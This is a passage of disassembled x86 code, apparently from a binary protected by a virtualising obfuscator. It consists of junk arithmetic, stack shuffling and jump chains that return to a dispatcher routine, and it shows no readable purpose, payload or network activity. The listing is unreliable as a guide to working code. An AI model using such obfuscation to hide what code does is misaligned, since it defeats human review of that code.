; ---------------------------------------------------------------------------


loc_5A3516:				; CODE XREF: sub_581EE9+17557j
		push	2CED228Bh
		pop	ebp
		sub	ebp, 0B142BA5Fh
		push	ebp
		xor	dword ptr [esp+0], 378B7A74h
		jmp	loc_592FD3
; ---------------------------------------------------------------------------


loc_5A352F:				; CODE XREF: sub_581EE9+21D99j
		pop	ebp
		sub	edx, esi
		jmp	loc_5A4FCF
; ---------------------------------------------------------------------------


loc_5A3537:				; CODE XREF: sub_581EE9+16A5Ej
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		jmp	loc_59D3B7
; ---------------------------------------------------------------------------
		push	[esp-6E48h+arg_6E3E+2]
		push	[esp-6E44h+arg_6E3A+2]
		pop	eax
		add	esp, 4
		push	11D2h
		mov	[esp-6E44h+arg_6E3A+2],	edx
		push	esp
		jmp	loc_59DABA
; ---------------------------------------------------------------------------


loc_5A3560:				; CODE XREF: sub_581EE9+25046j
		mov	ecx, 5C017F42h
		jmp	loc_5928D6
; ---------------------------------------------------------------------------


loc_5A356A:				; CODE XREF: sub_581EE9+15633j
		add	eax, edx
		pop	edx
		pop	edx
		push	ebx
		jmp	loc_5A152C
; ---------------------------------------------------------------------------


loc_5A3574:				; CODE XREF: sub_581EE9+1BF19j
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebp, edx
		mov	edx, [esp-6E56h+arg_6E4C+2]
		jmp	loc_5A4A2A
; ---------------------------------------------------------------------------


loc_5A3584:				; CODE XREF: sub_581EE9+1CEE2j
		mov	[esp-6E6Ah+arg_6E60+2],	ecx
		push	esp
		mov	ecx, [esp-6E66h+arg_6E5C+2]
		jmp	loc_5A30B4
; ---------------------------------------------------------------------------


loc_5A3590:				; CODE XREF: sub_581EE9+14D89j
		sub	edi, 5AB73CCEh
		jmp	loc_59DDFC
; ---------------------------------------------------------------------------


loc_5A359B:				; CODE XREF: sub_581EE9+12BFAj
		push	ebx
		mov	ebx, 4
		add	[esp-6E64h+arg_6E60], ebx
		jmp	loc_597479
; ---------------------------------------------------------------------------


loc_5A35AA:				; CODE XREF: sub_581EE9+1EF81j
		mov	edx, 461130DFh
		xor	edx, 3A660F87h
		not	edx
		or	edx, 7E4A4F11h
		sub	edx, 0FFC43F6Bh
		sub	edi, edx
		mov	edx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		jmp	loc_5A2291
; ---------------------------------------------------------------------------


loc_5A35D3:				; CODE XREF: sub_581EE9+18F2Fj
		xor	ecx, esi
		pop	esi
		jmp	loc_5A14ED
; ---------------------------------------------------------------------------


loc_5A35DB:				; CODE XREF: sub_581EE9+24226j
		push	1C9C6D6Eh
		jmp	loc_596FD3
; ---------------------------------------------------------------------------


loc_5A35E5:				; CODE XREF: sub_581EE9+23DD5j
		and	edx, ebp
		jmp	loc_599C51
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp-6EA8h+arg_6E9E+2], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		jmp	loc_5A5EFF
; ---------------------------------------------------------------------------


loc_5A360A:				; CODE XREF: sub_581EE9+1C943j
		push	edx
		jmp	loc_59D32A
; ---------------------------------------------------------------------------


loc_5A3610:				; CODE XREF: sub_581EE9+2526Cj
		pop	eax
		pop	ebp
		xor	[esp-6E7Ah+arg_6E76], edi
		mov	edi, [esp-6E7Ah+arg_6E72]
		jmp	loc_59A3BE
; ---------------------------------------------------------------------------


loc_5A361E:				; CODE XREF: sub_581EE9+1E184j
		sub	esp, 4
		mov	[esp-6EBCh+arg_6EB2+2],	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A34C3
; ---------------------------------------------------------------------------


loc_5A3634:				; CODE XREF: sub_581EE9+1B339j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, dword ptr [esp-6E82h+arg_6E7A]
		pop	esp
		neg	ebx
		jmp	loc_5A162D
; ---------------------------------------------------------------------------


loc_5A3648:				; CODE XREF: sub_581EE9+1EEA8j
		add	esp, 4
		sub	dh, cl
		mov	ecx, dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_5A0D33
; ---------------------------------------------------------------------------


loc_5A3658:				; CODE XREF: sub_581EE9+12FE0j
		add	esp, 4
		add	esi, 4
		jmp	loc_5951DE
; ---------------------------------------------------------------------------


loc_5A3669:				; CODE XREF: sub_581EE9+1C8FBj
		push	3CD7h
		jmp	loc_59D3D3
; ---------------------------------------------------------------------------


loc_5A3673:				; CODE XREF: sub_581EE9+12132j
		push	5AF77FB4h
		pop	eax
		not	eax
		or	eax, 18803AA9h
		add	eax, 72ACB9BAh
		add	ebp, eax
		pop	eax
		push	[esp-6E7Eh+arg_6E76]
		pop	edi
		add	esp, 4
		push	edi
		mov	edi, 260A434Ah
		sub	edi, 260A4348h
		add	ebp, edi
		mov	edi, [esp-6E7Eh+arg_6E76]
		jmp	loc_59BF2B
; ---------------------------------------------------------------------------


loc_5A36A5:				; CODE XREF: sub_581EE9+1EC37j
		push	eax
		jmp	loc_5A62B5
; ---------------------------------------------------------------------------
		push	[esp-6EA8h+arg_6E9E+2]
		push	[esp-6EA4h+arg_6E9A+2]
		push	[esp-6EA0h+arg_6E96+2]
		pop	eax
		add	esp, 4
		jmp	loc_59C23C
; ---------------------------------------------------------------------------


loc_5A36C0:				; CODE XREF: sub_581EE9+239B1j
		xor	[esp-6EA4h+arg_6E9A+2],	eax
		xor	eax, [esp-6EA4h+arg_6E9A+2]
		mov	esp, [esp-6EA4h+arg_6E9A+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EA0h+arg_6E96+2]
		pop	esp
		sub	eax, 5D0E620Bh
		jmp	loc_5A08FC
; ---------------------------------------------------------------------------


loc_5A36E3:				; CODE XREF: sub_581EE9+11FA7j
		mov	[esp+0], ebp
		push	651Ch
		mov	[esp-6E8Ch+arg_6E84], esp
		sub	esp, 4
		mov	[esp-6E88h+arg_6E80], ebp
		jmp	loc_5971D9
; ---------------------------------------------------------------------------


loc_5A36F9:				; CODE XREF: sub_581EE9+1A802j
		sub	esp, 4
		mov	[esp-6E46h+arg_6E3E], esi
		mov	esi, 7402BFDh
		dec	esi
		or	esi, 1C1645B4h
		jmp	loc_59C52A
; ---------------------------------------------------------------------------


loc_5A3710:				; CODE XREF: sub_581EE9+197B3j
		add	edi, 4
		jmp	loc_592318
; ---------------------------------------------------------------------------


loc_5A371B:				; CODE XREF: sub_581EE9+112F7j
		and	eax, 124C5A61h
		sub	eax, 1
		xor	eax, 100011FBh
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		xor	ebx, [esp-6EB0h+arg_6EA8]
		xor	[esp-6EB0h+arg_6EA8], ebx
		xor	ebx, [esp-6EB0h+arg_6EA8]
		mov	esp, [esp-6EB0h+arg_6EA8]
		mov	[esp-6EB0h+arg_6EA8], edx
		jmp	loc_59F7B0
; ---------------------------------------------------------------------------


loc_5A3745:				; CODE XREF: sub_581EE9+16451j
		mov	[esp-6E6Ah+arg_6E60+2],	esi
		jmp	loc_59D667
; ---------------------------------------------------------------------------


loc_5A374D:				; CODE XREF: sub_581EE9+24890j
		sub	edx, 14667B75h
		pop	ebx
		add	edx, 4
		push	edx
		jmp	loc_5988C9
; ---------------------------------------------------------------------------


loc_5A375D:				; CODE XREF: sub_581EE9+24376j
		shr	edi, 2
		jmp	loc_5A225F
; ---------------------------------------------------------------------------


loc_5A3765:				; CODE XREF: sub_581EE9+15E20j
		push	4ABCh
		jmp	loc_59EFBD
; ---------------------------------------------------------------------------


loc_5A376F:				; CODE XREF: sub_581EE9+1A8EEj
		sub	ecx, 4
		push	ecx
		push	[esp-6EAEh+arg_6EA8+2]
		jmp	loc_5A5657
; ---------------------------------------------------------------------------


loc_5A377C:				; CODE XREF: sub_581EE9+1415Aj
		add	ecx, 6F2D4B6Bh
		pop	ebp
		sub	ecx, 422973DBh
		add	ecx, edi
		add	ecx, 422973DBh
		sub	esp, 4
		mov	[esp-6EA2h+arg_6E9A], ebp
		push	ecx
		jmp	loc_593B4C
; ---------------------------------------------------------------------------


loc_5A37A0:				; CODE XREF: sub_581EE9+1B4B6j
		add	esp, 4
		xor	esi, [esp-6E6Eh+arg_6E64+2]
		xor	[esp-6E6Eh+arg_6E64+2],	esi
		xor	esi, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		shl	[esp-6E72h+arg_6E68+2],	cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A37B6:				; CODE XREF: sub_581EE9+23099j
		pop	ecx
		shr	ecx, 2
		jmp	loc_5A45FD
; ---------------------------------------------------------------------------


loc_5A37BF:				; CODE XREF: sub_581EE9+160BBj
		mov	ebp, [esp-6EBEh+arg_6EB6]
		add	esp, 4
		xor	ebx, [esp-6EC2h+arg_6EBA]
		xor	[esp-6EC2h+arg_6EBA], ebx
		xor	ebx, [esp-6EC2h+arg_6EBA]
		mov	esp, [esp-6EC2h+arg_6EBA]
		rol	byte ptr [esp-6EC2h+arg_6EBA], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A37DD:				; CODE XREF: sub_581EE9+10BF7j
		mov	dl, bh
		pop	ebx
		xchg	bl, dl
		add	bl, 1
		xchg	bl, dl
		add	dl, 0FFh
		shl	dl, 3
		jmp	loc_59A7D4
; ---------------------------------------------------------------------------


loc_5A37F2:				; CODE XREF: sub_581EE9+2198Cj
		xor	al, 21h
		shl	al, 8
		neg	al
		add	al, 5Dh
		sub	dl, al
		pop	eax
		jmp	loc_59575F
; ---------------------------------------------------------------------------


loc_5A3803:				; CODE XREF: sub_581EE9+18CB4j
		xor	esi, [esp-6EB4h+arg_6EAC]
		xor	[esp-6EB4h+arg_6EAC], esi
		jmp	loc_592F61
; ---------------------------------------------------------------------------


loc_5A380E:				; CODE XREF: sub_581EE9+142B0j
		and	ebp, 33306820h
		add	ebp, 0FFFFFFFFh
		jmp	loc_5A38F7
; ---------------------------------------------------------------------------


loc_5A381F:				; CODE XREF: sub_581EE9+1C195j
		mov	[esp+0], ecx
		push	78BF1A54h
		jmp	loc_59FAB9
; ---------------------------------------------------------------------------


loc_5A382C:				; CODE XREF: sub_581EE9+154EDj
		xchg	edx, [esp-6E8Ch+arg_6E84]
		pop	esp
		jmp	loc_597341
; ---------------------------------------------------------------------------


loc_5A3835:				; CODE XREF: sub_581EE9+24563j
		push	ebx
		pop	edi
		pop	ebx
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_5978C1
; ---------------------------------------------------------------------------


loc_5A3841:				; CODE XREF: sub_581EE9+144F4j
		add	ebx, 31E91AFEh
		push	ebp
		mov	ebp, 316A38B1h
		sub	ebx, ebp
		jmp	loc_595704
; ---------------------------------------------------------------------------


loc_5A3854:				; CODE XREF: sub_581EE9+11E6Aj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6E8Ah+arg_6E80+2]
		pop	esp
		mov	[esp-6E8Eh+arg_6E84+2],	esi
		mov	esi, esp
		jmp	loc_592F00
; ---------------------------------------------------------------------------


loc_5A386B:				; CODE XREF: sub_581EE9+1B686j
		pop	bx
		shl	dl, 6
		push	eax
		mov	al, 69h
		sub	al, 0ECh
		jmp	loc_5A37F2
; ---------------------------------------------------------------------------


loc_5A387A:				; CODE XREF: sub_581EE9+10684j
		inc	edx
		shr	edx, 7
		push	ecx
		mov	ecx, 7CCF4B65h
		sub	edx, ecx
		pop	ecx
		xor	eax, edx
		pop	edx
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_5A53FC
; ---------------------------------------------------------------------------


loc_5A3899:				; CODE XREF: sub_581EE9+1151Bj
		mov	ebp, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		push	eax
		mov	eax, 84A6C44h
		or	ebx, eax
		jmp	loc_5A3C61
; ---------------------------------------------------------------------------


loc_5A38AC:				; CODE XREF: sub_581EE9+10A22j
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	5B1Dh
		mov	[esp-6EA2h+arg_6E9A], eax
		push	4CDCh
		mov	[esp-6E9Eh+arg_6E96], ebp
		push	ebx
		push	3FAD1229h
		push	[esp-6E96h+arg_6E8E]
		jmp	loc_597397
; ---------------------------------------------------------------------------


loc_5A38D2:				; CODE XREF: sub_581EE9+141D8j
		sub	bl, 0C1h
		mov	eax, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		movzx	eax, al
		mov	dx, word ptr [esp-6E9Eh+arg_6E96]
		push	esi
		push	23AFh
		mov	[esp-6E96h+arg_6E8E], esp
		add	[esp-6E96h+arg_6E8E], 4
		push	[esp-6E96h+arg_6E8E]
		jmp	loc_59F9C7
; ---------------------------------------------------------------------------


loc_5A38F7:				; CODE XREF: sub_581EE9+21931j
		and	ebp, 6B3C4DF4h
		not	ebp
		add	ebp, 203045F9h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		push	ebx
		push	[esp-6E9Ah+arg_6E96]
		mov	ebx, [esp-6E96h+arg_6E8E]
		jmp	loc_59486C
; ---------------------------------------------------------------------------


loc_5A391B:				; CODE XREF: sub_581EE9+15D99j
		mov	bp, 0FFFFh
		jmp	loc_5A6789
; ---------------------------------------------------------------------------


loc_5A3924:				; CODE XREF: sub_581EE9+11709j
		xor	eax, 7CAEBD95h
		sub	edi, eax
		mov	eax, [esp-6E7Ah+arg_6E72]
		jmp	loc_59B738
; ---------------------------------------------------------------------------


loc_5A3933:				; CODE XREF: sub_581EE9+19140j
		dec	ebx
		sub	ebx, 5A3F2A30h
		xor	ebx, 0A0766930h
		push	ebx
		pop	edi
		jmp	loc_5957FD
; ---------------------------------------------------------------------------


loc_5A3947:				; CODE XREF: sub_581EE9+13B2Cj
		sub	edx, ecx
		pop	ecx
		xor	esi, edx
		pop	edx
		add	edx, esi
		pop	esi
		add	edx, 4
		jmp	loc_596D2F
; ---------------------------------------------------------------------------
		push	817h
		mov	[esp-6E72h+arg_6E68+2],	esp
		add	[esp-6E72h+arg_6E68+2],	4
		jmp	loc_595FC9
; ---------------------------------------------------------------------------


loc_5A396F:				; CODE XREF: sub_581EE9+14BB6j
		and	eax, esi
		mov	esi, [esp+0]
		push	esi
		push	esp
		jmp	loc_59497D
; ---------------------------------------------------------------------------


loc_5A397B:				; CODE XREF: sub_581EE9+1048Aj
		add	esp, 4
		push	eax
		jmp	loc_592CE1
; ---------------------------------------------------------------------------


loc_5A3987:				; CODE XREF: sub_581EE9+20E24j
		pop	ebp
		mov	eax, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		push	5271h
		mov	[esp-6E7Eh+arg_6E76], ebp
		mov	ebp, 2F3C0676h
		not	ebp
		and	ebp, 26236938h
		xor	ebp, 59B931A5h
		push	edi
		mov	edi, 647541EAh
		push	ecx
		jmp	loc_59BB23
; ---------------------------------------------------------------------------


loc_5A39B8:				; CODE XREF: sub_581EE9+1A328j
		sub	esi, 0ED6B577Ch
		add	edx, 97111E4h
		add	edx, 5EEF1831h
		sub	edx, 258B5AC6h
		add	edx, esi
		add	edx, 258B5AC6h
		sub	edx, 5EEF1831h
		jmp	loc_5A622C
; ---------------------------------------------------------------------------


loc_5A39E3:				; CODE XREF: sub_581EE9+14A90j
		push	0F8h
		mov	[esp+0], edx
		jmp	loc_596EB0
; ---------------------------------------------------------------------------


loc_5A39F0:				; CODE XREF: sub_581EE9+221D0j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59ED39
; ---------------------------------------------------------------------------


loc_5A39FD:				; CODE XREF: sub_581EE9+10AE6j
		add	edi, 4
		xor	edi, dword ptr [esp-6EAAh+arg_6EA2]
		xor	dword ptr [esp-6EAAh+arg_6EA2],	edi
		xor	edi, dword ptr [esp-6EAAh+arg_6EA2]
		pop	esp
		push	473Dh
		mov	dword ptr [esp-6EAAh+arg_6EA2],	eax
		mov	eax, 1EE60A81h
		shl	eax, 3
		push	edx
		mov	edx, esp
		jmp	loc_59386E
; ---------------------------------------------------------------------------


loc_5A3A22:				; CODE XREF: sub_581EE9+1135Fj
		sub	ebp, 0FFFFFFFFh
		or	ebp, 0E015C98h
		and	ebp, 7AEB0879h
		shr	ebp, 8
		add	ebp, 3EFA8981h
		push	edx
		jmp	loc_5A5218
; ---------------------------------------------------------------------------


loc_5A3A43:				; CODE XREF: sub_581EE9+10536j
		mov	edx, ebp
		pop	ebp
		and	edi, edx
		mov	edx, [esp-6EACh+arg_6EA4]
		add	esp, 4
		and	edi, 14B92DE5h
		neg	edi
		push	eax
		jmp	loc_5962F5
; ---------------------------------------------------------------------------


loc_5A3A5F:				; CODE XREF: sub_581EE9+18D75j
		dec	ebx
		jmp	loc_595BD8
; ---------------------------------------------------------------------------


loc_5A3A65:				; CODE XREF: sub_581EE9+1CE35j
		sub	edi, ecx
		jmp	loc_595FDC
; ---------------------------------------------------------------------------


loc_5A3A6C:				; CODE XREF: sub_581EE9+1CE62j
		pop	[esp-6E56h+arg_6E4C+2]
		mov	esp, [esp-6E5Ah+arg_6E50+2]
		xor	edx, [esp-6E5Ah+arg_6E50+2]
		jmp	loc_597FE0
; ---------------------------------------------------------------------------


loc_5A3A7A:				; CODE XREF: sub_581EE9+12467j
		mov	esi, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		pop	ebp
		jmp	loc_5A3251
; ---------------------------------------------------------------------------


loc_5A3A89:				; CODE XREF: sub_581EE9+2378Bj
		pop	esp
		and	word ptr [esp-6EB0h+arg_6EA8], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A3A94:				; CODE XREF: sub_581EE9+1939Cj
		push	eax
		mov	eax, 17C7753Bh
		mov	ebp, 0E8388AC9h
		add	ebp, eax
		jmp	loc_5A1E8F
; ---------------------------------------------------------------------------


loc_5A3AA6:				; CODE XREF: sub_581EE9+23DA8j
		mov	[esp-6E62h+arg_6E58+2],	edi
		mov	edi, 1D2E761Fh
		add	[esp-6E62h+arg_6E60+2],	edi
		pop	edi
		pop	eax
		push	[esp-6E6Ah+arg_6E60+2]
		jmp	loc_5A0C4D
; ---------------------------------------------------------------------------


loc_5A3ABC:				; CODE XREF: sub_581EE9+18F5Bj
		or	ebp, 67775D14h
		jmp	loc_592405
; ---------------------------------------------------------------------------


loc_5A3AC7:				; CODE XREF: sub_581EE9+18826j
		push	ecx
		mov	ecx, 60EE3B37h
		and	esi, ecx
		push	dword ptr [esp-6EAAh+arg_6EA2]
		pop	ecx
		add	esp, 4
		neg	esi
		add	esi, 58459430h
		add	eax, esi
		jmp	loc_59F9D7
; ---------------------------------------------------------------------------


loc_5A3AE8:				; CODE XREF: sub_581EE9+1CCBAj
		mov	ebx, 6FE7641Eh
		sub	eax, ebx
		mov	ebx, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E6Eh+arg_6E64+2],	ebp
		push	ebx
		mov	ebx, 17F66776h
		push	6A68h
		jmp	loc_595A2F
; ---------------------------------------------------------------------------


loc_5A3B0B:				; CODE XREF: sub_581EE9+11E54j
		add	eax, ebx
		push	ecx
		push	edi
		push	65484002h
		pop	edi
		not	edi
		dec	edi
		xor	edi, 0E6B3A7CAh
		mov	ecx, edi
		push	[esp-6E7Eh+arg_6E76]
		pop	edi
		add	esp, 4
		jmp	loc_5972B6
; ---------------------------------------------------------------------------


loc_5A3B2F:				; CODE XREF: sub_581EE9+20695j
		mov	[esp-6E9Ch+arg_6E92+2],	eax
		push	[esp-6E9Ch+arg_6E96+2]
		pop	eax
		pop	[esp-6E9Ch+arg_6E92+2]
		pop	esp
		jmp	loc_5A557D
; ---------------------------------------------------------------------------


loc_5A3B40:				; CODE XREF: sub_581EE9+16B92j
		sub	esi, 75C33FB7h
		jmp	loc_5A43C6
; ---------------------------------------------------------------------------


loc_5A3B4B:				; CODE XREF: sub_581EE9+1D1F4j
		sub	edi, 0D1232F35h
		sub	ecx, edi
		jmp	loc_5A5256
; ---------------------------------------------------------------------------


loc_5A3B58:				; CODE XREF: sub_581EE9+19DFCj
		add	esi, edx
		jmp	loc_59EF1A
; ---------------------------------------------------------------------------


loc_5A3B5F:				; CODE XREF: sub_581EE9+138C5j
		add	esp, 4
		xchg	ebp, [esp-6E44h+arg_6E3A+2]
		pop	esp
		xchg	esi, [esp-6E48h+arg_6E3E+2]
		mov	esp, [esp-6E48h+arg_6E3E+2]
		xor	[esp-6E48h+arg_6E3E+2],	eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A3B74:				; CODE XREF: sub_581EE9+1A678j
		pop	esp
		add	word ptr [esp-6E92h+arg_6E8A], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A3B7F:				; CODE XREF: sub_581EE9+15323j
		not	dword ptr [esp-6EAAh+arg_6EA2]
		pop	ebx
		push	71A5h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ecx
		mov	ecx, 768020C8h
		shl	ecx, 8
		neg	ecx
		sub	ecx, 39E75500h
		and	ecx, 1220469Bh
		jmp	loc_59CC31
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	5E32h
		mov	[esp-6EA6h+arg_6E9E], edx
		jmp	loc_59D3E3
; ---------------------------------------------------------------------------


loc_5A3BB6:				; CODE XREF: sub_581EE9+1F29Fj
		add	ebp, eax
		pop	eax
		sub	esi, 60FC2F44h
		add	esi, 48D81F09h
		add	esi, ebp
		push	ebp
		jmp	loc_59A676
; ---------------------------------------------------------------------------


loc_5A3BCD:				; CODE XREF: sub_581EE9+2475Aj
		add	ch, 0FFh
		sub	ch, 8Ah
		add	ch, 53h
		jmp	loc_59C57B
; ---------------------------------------------------------------------------


loc_5A3BDB:				; CODE XREF: sub_581EE9+1357Bj
		sub	esp, 4
		jmp	loc_5A2977
; ---------------------------------------------------------------------------


loc_5A3BE3:				; CODE XREF: sub_581EE9+1C06Bj
		push	5764699Bh
		pop	eax
		xor	eax, 5764699Fh
		add	ecx, eax
		pop	eax
		push	edx
		jmp	loc_59FD60
; ---------------------------------------------------------------------------


loc_5A3BF7:				; CODE XREF: sub_581EE9+212F1j
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 6F107AD1h
		push	ebp
		mov	ebp, 6B117D3Bh
		xor	ebx, ebp
		jmp	loc_5A3290
; ---------------------------------------------------------------------------


loc_5A3C0D:				; CODE XREF: sub_581EE9+175D1j
		mov	[esp-6E70h+arg_6E68], eax
		jmp	loc_59BBEA
; ---------------------------------------------------------------------------


loc_5A3C15:				; CODE XREF: sub_581EE9+14E39j
		pop	dword ptr [esp-6EAAh+arg_6EA2]
		mov	esp, [esp-6EAEh+arg_6EA4+2]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A3C20:				; CODE XREF: sub_581EE9+1B8A0j
		push	1E29h
		push	esp
		pop	[esp-6E6Ah+arg_6E60+2]
		push	ebx
		jmp	loc_59E9C2
; ---------------------------------------------------------------------------


loc_5A3C2F:				; CODE XREF: sub_581EE9+2427Dj
		sub	[esp-6E6Ah+arg_6E60+2],	1763690Ch
		push	[esp-6E6Ah+arg_6E60+2]
		pop	eax
		add	esp, 4
		push	esi
		push	ebx
		jmp	loc_599346
; ---------------------------------------------------------------------------


loc_5A3C47:				; CODE XREF: sub_581EE9+240C2j
		inc	eax
		neg	eax
		add	eax, 7CC64065h
		xor	eax, 75322270h
		push	eax
		xor	[esp-6E62h+arg_6E58+2],	284D2586h
		jmp	loc_592E63
; ---------------------------------------------------------------------------


loc_5A3C61:				; CODE XREF: sub_581EE9+219BEj
		pop	eax
		sub	ebx, 9D24AC7h
		xor	edx, ebx
		push	dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_59FF9A
; ---------------------------------------------------------------------------


loc_5A3C72:				; CODE XREF: sub_581EE9+15B2Fj
		mov	eax, [esp-6E70h+arg_6E68]
		jmp	loc_5A439A
; ---------------------------------------------------------------------------


loc_5A3C7A:				; CODE XREF: sub_581EE9+20B3Bj
		push	ebp
		mov	ebp, 7F46D298h
		add	esi, ebp
		jmp	loc_5A352F
; ---------------------------------------------------------------------------


loc_5A3C87:				; CODE XREF: sub_581EE9+17E85j
		add	ebp, eax
		add	ebp, 11F713B7h
		push	eax
		mov	eax, 7A52606Ch
		dec	eax
		sub	esp, 4
		mov	[esp-6E56h+arg_6E4C+2],	edx
		jmp	loc_59C5DD
; ---------------------------------------------------------------------------


loc_5A3CA1:				; CODE XREF: sub_581EE9+17268j
		push	ecx
		sub	esp, 4
		push	esp
		jmp	loc_5A1CB7
; ---------------------------------------------------------------------------


loc_5A3CAE:				; CODE XREF: sub_581EE9+11509j
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xchg	esi, dword ptr [esp-6E82h+arg_6E7A]
		mov	esp, dword ptr [esp-6E82h+arg_6E7A]
		mov	dword ptr [esp-6E82h+arg_6E7A],	edi
		push	0B1Bh
		mov	[esp-6E7Eh+arg_6E76], esp
		add	[esp-6E7Eh+arg_6E76], 4
		pop	edi
		push	ebp
		push	4
		pop	ebp
		jmp	loc_59D8D1
; ---------------------------------------------------------------------------


loc_5A3CE1:				; CODE XREF: sub_581EE9+1EE2Ej
		push	ebp
		mov	ebp, 0C892A804h
		add	esi, ebp
		pop	ebp
		jmp	loc_59D596
; ---------------------------------------------------------------------------


loc_5A3CEF:				; CODE XREF: sub_581EE9+22858j
		mov	[esp-6E42h+arg_6E3A], edi
		push	1F90h
		mov	[esp-6E3Eh+arg_6E36], esi
		mov	esi, 2792610Dh
		jmp	loc_59EF36
; ---------------------------------------------------------------------------


loc_5A3D04:				; CODE XREF: sub_581EE9+1902Ej
		and	esi, 1D9563Ch
		push	ebp
		mov	ebp, 18CF0864h
		or	ebp, 65F82E4Eh
		shl	ebp, 3
		inc	ebp
		add	ebp, 79193110h
		neg	ebp
		jmp	loc_59609A
; ---------------------------------------------------------------------------


loc_5A3D27:				; CODE XREF: sub_581EE9+227E6j
		add	ecx, edi
		jmp	loc_5A6B48
; ---------------------------------------------------------------------------


loc_5A3D2E:				; CODE XREF: sub_581EE9+1D98Aj
		mov	ebx, 213F7DD2h
		or	ebx, 43786DB1h
		push	ecx
		mov	ecx, 148E7468h
		sub	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 5087291Ah
		sub	ebp, 3BD322F9h
		and	ebx, ebp
		pop	ebp
		shr	ebx, 5
		push	ecx
		mov	ecx, 31235EEh
		jmp	loc_59D944
; ---------------------------------------------------------------------------


loc_5A3D5F:				; CODE XREF: sub_581EE9+11296j
		mov	ebx, [esp+0]
		add	esp, 4
		pop	[esp-6E4Eh+arg_6E44+2]
		pop	esp
		push	esi
		jmp	loc_59CA5C
; ---------------------------------------------------------------------------


loc_5A3D6F:				; CODE XREF: sub_581EE9+11D6Fj
		pop	edx
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		sub	edi, 22010DE2h
		jmp	loc_5A2A43
; ---------------------------------------------------------------------------


loc_5A3D84:				; CODE XREF: sub_581EE9+23DFDj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A3D89:				; CODE XREF: sub_581EE9+13510j
		sub	esp, 4
		mov	[esp-6E72h+arg_6E68+2],	esi
		push	ebp
		push	ebx
		mov	ebx, 2ADB6EC1h
		add	[esp-6E6Ah+arg_6E64+2],	ebx
		pop	ebx
		pop	esi
		sub	esi, 2ADB6EC1h
		push	edi
		mov	edi, esi
		mov	ecx, edi
		pop	edi
		pop	esi
		pop	ebp
		sub	ebx, 6E954704h
		add	ebx, ecx
		add	ebx, 6E954704h
		push	[esp-6E7Ah+arg_6E72]
		push	[esp-6E76h+arg_6E6E]
		mov	ecx, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		xchg	ebx, [esp-6E7Eh+arg_6E76]
		pop	esp
		bts	[esp-6E82h+arg_6E7A], ax
		pushf
		jmp	loc_594FBB
; ---------------------------------------------------------------------------


loc_5A3DE5:				; CODE XREF: sub_581EE9+10C0Bj
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], edi
		mov	edi, esp
		push	esi
		jmp	loc_59B60A
; ---------------------------------------------------------------------------


loc_5A3DF3:				; CODE XREF: sub_581EE9+1BBDDj
		mov	[esp-6E5Ch+arg_6E54], ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp-6E5Ch+arg_6E54]
		push	ebx
		jmp	loc_59B643
; ---------------------------------------------------------------------------


loc_5A3E06:				; CODE XREF: sub_581EE9+125E2j
		mov	esi, 4
		jmp	loc_59BDAC
; ---------------------------------------------------------------------------


loc_5A3E10:				; CODE XREF: sub_581EE9+1558Bj
		sub	esi, ebx
		pop	ebx
		push	[esp-6E56h+arg_6E4C+2]
		mov	ebx, [esp-6E52h+arg_6E48+2]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp-6E4Eh+arg_6E44+2],	esp
		add	[esp-6E4Eh+arg_6E44+2],	4
		pop	ebx
		jmp	loc_596BA6
; ---------------------------------------------------------------------------


loc_5A3E33:				; CODE XREF: sub_581EE9+136FEj
		sub	edi, ecx
		mov	ecx, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		add	edi, ecx
		push	ebx
		mov	ebx, 4E3F1ACFh
		add	edi, 4A832B05h
		add	edi, ebx
		jmp	loc_59DBE5
; ---------------------------------------------------------------------------


loc_5A3E53:				; CODE XREF: sub_581EE9+1B26Aj
		xor	esi, edi
		jmp	loc_5A1A26
; ---------------------------------------------------------------------------


loc_5A3E5A:				; CODE XREF: sub_581EE9+124E6j
		mov	esp, [esp-6E9Eh+arg_6E96]
